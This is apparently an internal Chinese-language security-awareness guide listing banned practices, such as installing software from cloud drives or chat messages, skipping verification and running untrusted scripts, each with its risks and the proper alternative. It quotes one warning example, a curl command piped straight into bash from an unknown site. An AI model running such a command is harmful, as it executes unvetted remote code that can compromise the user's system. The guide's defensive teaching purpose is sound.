危险行为警示
以下行为 严格禁止，违反者将承担相应安全责任。
禁止行为清单
| 危险行为 | 风险说明 |
|---|---|
| ❌ 从网盘下载软件 | 无法验证文件来源，可能被篡改或植入恶意代码 |
| ❌ 从聊天工具接收软件 | 传输过程可能被劫持，文件可能被替换 |
| ❌ 使用验证失败的软件 | 软件可能不是官方构建，存在安全隐患 |
| ❌ 跳过验证直接使用 | 无法确保软件完整性和来源可信 |
| ❌ 运行来路不明的脚本 | 可能执行恶意代码，造成数据泄露或系统损坏 |
详细说明
❌ 从网盘下载软件
场景：同事通过百度网盘/Google Drive 分享了一个工具
风险：
- 分享者可能在软件中添加了恶意代码
- 无法确认是否为官方原版
- 网盘平台不会对内容进行安全审查
正确做法：
- 要求分享者提供 GitHub Releases 链接
- 自行从官方仓库下载
❌ 从聊天工具接收软件
场景：群里有人发了一个"好用的工具"
风险：
- 发送者身份无法核实
- 文件可能在传输中被替换
- 即使是认识的人发送，其电脑也可能已被入侵
正确做法：
- 不要直接下载运行
- 询问软件的 GitHub 仓库地址
- 从官方渠道下载并验证
❌ 使用验证失败的软件
场景：下载的软件验证失败，但"看起来"没问题
风险：
- 验证失败意味着无法确认软件来源
- 可能是被篡改的版本
- 可能包含后门或恶意代码
正确做法：
- 立即删除该软件
- 向安全团队报告
- 从官方渠道重新下载
❌ 跳过验证直接使用
场景：时间紧急，觉得"应该没问题"就直接使用
风险：
- 无法保证软件安全性
- 一旦出现安全事故，后果难以预估
- 可能导致整个系统被入侵
正确做法：
- 验证只需要几秒钟
- 安全永远比速度重要
❌ 运行来路不明的脚本
场景：网上找到一个"一键安装脚本"
bash
# 危险！不要执行这类命令
curl -s https://some-random-site.com/install.sh | bash风险：
- 脚本内容完全不可控
- 可能下载并执行恶意程序
- 可能窃取系统凭据
正确做法：
- 先下载脚本查看内容
- 确认脚本来源可信
- 理解脚本每一步的操作
发现可疑行为怎么办
- 不要运行 - 立即停止任何可疑操作
- 保留证据 - 截图保存相关信息
- 报告安全团队 - 描述情况并提供证据
- 等待指导 - 按安全团队指示处理
安全意识提醒
记住
- 便利不能以牺牲安全为代价
- 验证只需几秒，修复安全事故可能需要几天
- 当有疑问时，宁可麻烦一点也要确认安全